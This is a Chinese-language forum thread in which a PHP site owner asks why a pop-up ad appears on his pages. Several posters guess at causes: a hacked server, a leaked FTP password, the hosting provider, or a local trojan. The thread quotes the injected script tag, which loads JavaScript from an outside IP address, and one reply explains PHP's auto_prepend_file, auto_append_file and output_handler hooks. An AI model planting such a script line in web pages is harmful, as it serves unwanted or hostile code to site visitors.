今天发现网站上出现了一个浮动的广告小窗口，然后看了一下源代码，发现。。。

[s_delhpi]

我的程序是PHP，结果经过观察，我发现程序会动态在</body>前生成一段JS代码，
<script language="javascript1.1" src="http://61.129.57.178/gjs/26.js"></script>
然后弹出广告，请问这个是怎么回事，是木马吗？

NND，不爽死了，请问怎么解决掉这个该死的广告啊

[s_delhpi]

你们觉得是哪里出问题了，是代码有漏洞吗？还是空间服务商在捣鬼？

[caotian2000]

你的服务器被人黑了，把那段代码删了吧！

[laochake]

嗯，应该是服务器有问题

[s_delhpi]

是动态生成的，源代码里面没有代码，用IE打开后看HTML还会有JS代码，不知道怎么弄了

[xwsn]

能不能把那个地址让我们看看？

[s_delhpi]

哪个地址？

[outlookoutlook]

你在本机测试一下是不是好的，如果好的就很可能是服务器上面的问题了

[zairwolfb]

是不是免费的空间？不排除你ftp密码泄漏的问题。

以前我自己的网站就是，鬼知道被加上一段这样的代码。后来问西数人家也不知所以然。后来我改了ftp密码就好了。也不排除服务器中毒的可能。

[jacklinchen]

中标啦。　直接删除这段代码就是了。　然后找一些杀毒工具处理

[s_delhpi]

问题是我是在西部数码申请的PHP空间，上传的代码都是zend过的，不是源代码，怎么还会出现这种情况啊：（（（（（（（（（（（（（（

[zeroleonhart]

You'd better first check the security of your server.

[outlookoutlook]

很多免费的空间都会在你的代码中插入这和代码的，你的空间不是免费的？

[snang]

可能是空间商的问题

[tony-杨]

如果你确定你的程序跟模板里面没有这代码
并且也不是那个鸟电信搞的（毕竟电信经常干这鸟事）
那么就一定是服务提供商搞的鬼

[xuzuning]

1、上传的代码都是zend过的
这并不能说明什么，在zend过的的文件里依然可以加入非zend的的内容

2、php本身就提供了附加监听代码的功能
auto_prepend_file 指向在任何php程序前执行的代码
auto_append_file 指向在任何php程序后执行的代码

3、拦截输出还可以通过
output_handler
zlib.output_handler
进行

4、虽然收费的空间不应未经同意而加入广告，但也不排除新网管在做测试的可能。
通常遇到此类问题应首先向网管反映。而不是....

[mrshelly]

同意楼上第4点.

[tgq1981]

是不是你本地电脑的IE有流氓软件，建议你把地址贴出来，让大家看看。

[s_delhpi]

好象是我自己的机器里的木马,但是怎么搞也搞不掉啊:((((((((((((((((

大家帮帮忙,我恶心死了,老是打开网页的时候在最后被追加了一段
<script language="javascript1.1" src="http://61.129.57.178/gjs/15.js"></script>

怎么办,我能想到的都试了,就是不能弄干净,我用的是2000

[s_delhpi]

我确定是木马了，Trojan.DL.Agent.kbv，但是杀不掉，ewido也用了，每次都能查到，但是杀了以后还是有，好象他自己能复制回来，各位谁知道怎么办啊

[chszs]

找服务器提供商来杀毒。